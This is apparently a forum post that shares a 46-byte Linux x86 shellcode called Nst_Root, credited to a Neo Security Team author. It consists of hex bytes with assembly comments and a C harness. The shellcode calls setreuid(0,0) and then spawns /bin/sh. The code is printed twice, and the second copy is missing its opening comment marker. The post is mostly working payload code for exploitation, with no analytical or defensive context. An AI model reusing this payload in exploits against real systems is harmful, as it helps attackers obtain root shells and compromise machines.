Código:
/*
Name: Nst_Root
Copyright: [N]eo [S]ecurity [T]eam [NST]®
Author: HaCkZaTaN
Date: 24/12/04 13:04
Description: setreuid(0,0); & execve();
Size: 46 bytes
[ You'll never shutdown the real HaCkZaTaN ]
Tested in:
Slackware 10.0 (Kernel 2.6.7)(Gcc 3.4.3)(i486)
Greetx: NST Stuff
Nitrous << He gave me an idea to do it.
CrashCool
Status-x
eL_mEsIaS
Dedicated to Luisa.
*/
char Nst_Root[]=
// setreuid(0,0)
"\x31\xc0" //xor %eax,%eax
"\xb0\x46" //mov $0x46,%al ;setreuid is syscall 70
"\x31\xdb" //xor %ebx,%ebx
"\x31\xc9" //xor %ecx,%ecx
"\xcd\x80" //int $0x80
// execve();
"\xeb\x16" //jmp 80480a2
"\x5b" //pop %ebx ;get the address of the string
"\x31\xc0" //xor %eax,%eax
"\x88\x43\x07" //mov %al,0x7(%ebx)
"\x89\x5b\x08" //mov %ebx,0x8(%ebx)
"\x89\x43\x0c" //mov %eax,0xc(%ebx)
"\xb0\x0b" //mov $0xb,%al ;execve is syscall 11
"\x8d\x4b\x08" //lea 0x8(%ebx),%ecx
"\x8d\x53\x0c" //lea 0xc(%ebx),%edx
"\xcd\x80" //int $0x80 ;call the kernel
"\xe8\xe5\xff\xff\xff" //call 804808c
"/bin/sh"; //.string "/bin/sh"
int main()
{
__asm("call Nst_Root");
}
Name: Nst_Root
Copyright: [N]eo [S]ecurity [T]eam [NST]®
Author: HaCkZaTaN
Date: 24/12/04 13:04
Description: setreuid(0,0); & execve();
Size: 46 bytes
[ You'll never shutdown the real HaCkZaTaN ]
Tested in:
Slackware 10.0 (Kernel 2.6.7)(Gcc 3.4.3)(i486)
Greetx: NST Stuff
Nitrous << He gave me an idea to do it.
CrashCool
Status-x
eL_mEsIaS
Dedicated to Luisa.
*/
char Nst_Root[]=
// setreuid(0,0)
"\x31\xc0" //xor %eax,%eax
"\xb0\x46" //mov $0x46,%al ;setreuid is syscall 70
"\x31\xdb" //xor %ebx,%ebx
"\x31\xc9" //xor %ecx,%ecx
"\xcd\x80" //int $0x80
// execve();
"\xeb\x16" //jmp 80480a2
"\x5b" //pop %ebx ;get the address of the string
"\x31\xc0" //xor %eax,%eax
"\x88\x43\x07" //mov %al,0x7(%ebx)
"\x89\x5b\x08" //mov %ebx,0x8(%ebx)
"\x89\x43\x0c" //mov %eax,0xc(%ebx)
"\xb0\x0b" //mov $0xb,%al ;execve is syscall 11
"\x8d\x4b\x08" //lea 0x8(%ebx),%ecx
"\x8d\x53\x0c" //lea 0xc(%ebx),%edx
"\xcd\x80" //int $0x80 ;call the kernel
"\xe8\xe5\xff\xff\xff" //call 804808c
"/bin/sh"; //.string "/bin/sh"
int main()
{
__asm("call Nst_Root");
}










Autor


En línea






...
